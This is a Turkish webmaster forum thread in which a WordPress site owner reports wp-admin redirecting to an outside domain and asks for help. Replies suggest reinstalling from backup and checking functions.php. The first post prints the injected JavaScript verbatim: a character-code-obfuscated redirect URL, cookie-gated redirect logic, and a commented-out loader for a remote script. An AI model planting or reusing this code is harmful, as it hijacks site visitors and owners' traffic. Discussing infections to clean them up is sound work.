• 30-11-2018, 18:10:09
    #1
    2 gündür sitemin ziyaretçi ve tıklamalarında düşüklük vardı google dan dolayı diye bekliyodum bugün sitenin wp-adminine girdiğimse ise https://blueeyeswebsite.com diye biyere yönlendiriyo ve aşağıdaki kodlar gösteriyo büyük ihtimal virüs bulaştı ne yapmam gerekiyor?

    (function() { var u=String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 98, 108, 117, 101, 101, 121, 101, 115, 119, 101, 98, 115, 105, 116, 101, 46, 99, 111, 109, 47, 108, 97, 109, 46, 112, 104, 112); if (document.cookie.indexOf("popupShown=true") == -1) { document.cookie = "popupShown=true; max-age=20400"; // 86400: seconds in a day // make the popup show here window.location.replace(u);document.location.replace(u);window.location.href=u;document.location.href=u; }/*if (window.location.href.indexOf("/wp-admin/") === -1){window.location.replace(u);document.location.replace(u);window.location.href=u;document.location.href=u;} if (window.location.href.indexOf("/wp-admin/setup-config.php") === 1){window.location.replace(u);document.location.replace(u);window.location.href=u;document.location.href=u;}*/ /*var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.async=true; g.defer=true; g.src='//cdn.matomo.cloud/idx4.matomo.cloud/piwik.js'; s.parentNode.insertBefore(g,s);*/ })(); var _paq = _paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function() { var u="https://voltaer.matomo.cloud/"; _paq.push(['setTrackerUrl', u+'piwik.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.async=true; g.defer=true; g.src='//cdn.matomo.cloud/voltaer.matomo.cloud/piwik.js'; s.parentNode.insertBefore(g,s); })(); /* (function() { var u="https://idx4.matomo.cloud/"; _paq.push(['setTrackerUrl', u+'piwik.php']); _paq.push(['setSiteId', '1']); var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0]; g.type='text/javascript'; g.async=true; g.defer=true; g.src='https://forwardmytraffic.com/funcs.js'; s.parentNode.insertBefore(g,s); })(); */[/CSSR]
  • 30-11-2018, 18:11:13
    #2
    takipteyim...
  • 30-11-2018, 18:20:29
    #3
    Yedek alıp baştan kurma şansınız varmı ?
  • 30-11-2018, 18:27:40
    #4
    function.php tamamını inceleme şansım varsa bir bakabilir miyim?
  • 30-11-2018, 18:28:16
    #5
    Geçen gün wordpress siteme aynısı olmuştu site başka yerlere yönlendiriliyordu base64 ile şifrelenmiş kod vardı tüm index dosyalarında. Yedek varsa tüm herşeyi silip tekrardan kurulum yapın
  • 30-11-2018, 18:36:44
    #6
    Ftp ye giriş yaparak functions.php dosyasını inceleyin